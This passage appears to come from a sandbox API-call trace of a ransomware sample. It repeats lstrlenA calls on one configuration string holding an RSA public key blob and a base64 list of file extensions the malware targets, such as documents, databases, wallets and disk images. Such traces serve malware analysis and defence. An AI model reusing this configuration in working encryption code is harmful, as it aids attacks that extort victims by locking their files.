ZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.400] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.400] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.400] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.400] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsI